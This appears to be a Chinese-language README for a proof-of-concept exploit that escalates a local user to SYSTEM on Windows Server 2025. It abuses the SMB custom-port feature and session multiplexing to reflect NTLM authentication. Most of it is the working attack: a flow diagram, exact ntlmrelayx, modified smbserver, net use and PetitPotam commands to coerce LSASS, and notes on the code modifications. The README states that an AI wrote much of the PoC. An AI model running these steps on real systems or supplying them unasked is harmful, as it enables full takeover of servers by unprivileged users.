通过 NTLM 反射在 Windows Server 2025 上实现本地权限提升,利用 Windows 11 24H2 / Server 2025 中引入的 SMB 任意端口功能。
Windows 11 24H2 / Server 2025 引入了一项 SMB 客户端功能,允许在任意 TCP 端口上建立连接(net use \\host\share /tcpport:PORT)。结合 SMB 会话多路复用(MS-SMB2 第 3.2.4.2 节),这实现了本地 NTLM 反射——低权限用户可强制特权服务(LSASS)向攻击者控制的非标准端口 SMB 服务器进行身份验证,然后将捕获的 NTLM 认证中继回 445 端口上的真实 SMB 服务。
影响:任何本地用户均可获得 NT AUTHORITY\SYSTEM 权限。
受影响版本:Windows Server 2025(默认配置)。Windows 11 24H2 强制启用 SMB 签名,从而阻止了中继攻击。
LSASS (SYSTEM) ──NTLM──► SMB 客户端 ──TCP:12345──► smbserver.py (我方)
│
▼ 中继 NTLM 数据块
SMB 服务 (:445) ◄────────────────── ntlmrelayx.py
← SYSTEM 会话
net use 在自定义端口上建立到我们 SMB 服务器的 TCP 连接\\127.0.0.1\share 进行身份验证打开 3 个终端。
终端 1 — 启动 ntlmrelayx(监听 RAW 端口 6666,中继到本地 SMB):
python ntlmrelayx.py --no-smb-server --no-http-server --no-wcf-server --no-winrm-server --no-rpc-server --no-mssql-server --no-rdp-server -t smb://127.0.0.1 -c "whoami" -smb2support --raw-port 6666
终端 2 — 启动修改版 smbserver(监听 12345 端口,将 NTLM 中继到 6666 端口):
python smbserver.py test . -port 12345 -smb2support -username user -password user -relay-port 6666
终端 3 — 运行漏洞利用:
:: 在自定义端口上挂载共享(建立持久 TCP 连接)
net use \\127.0.0.1\test /tcpport:12345 /user:user user
:: 强制 LSASS 向我们的 SMB 服务器进行身份验证
PetitPotam.exe 127.0.0.1 localhost 2
ntlmrelayx 输出的 whoami 结果将显示 NT AUTHORITY\SYSTEM。
PetitPotam/ — 修改版 PetitPotam 源码。与上游相比有两处更改:
df1941c5-fe89-4e79-bf10-463657acf44d(WS2025 EFSRPC 接口)\pipe\efsrpcEfsRpcEncryptFileSrv),共享名称硬编码为 testsmbserver.py — 修改版 impacket smbserver,新增 -relay-port 标志。挂钩 SMB2 SESSION_SETUP,以捕获多路复用连接上的第二次 NTLM 认证,并将其中继到 RAW 中继服务器(ntlmrelayx --raw-port)。此 PoC 大部分由 AI(GLM 5.1)基于以下研究和技术编写: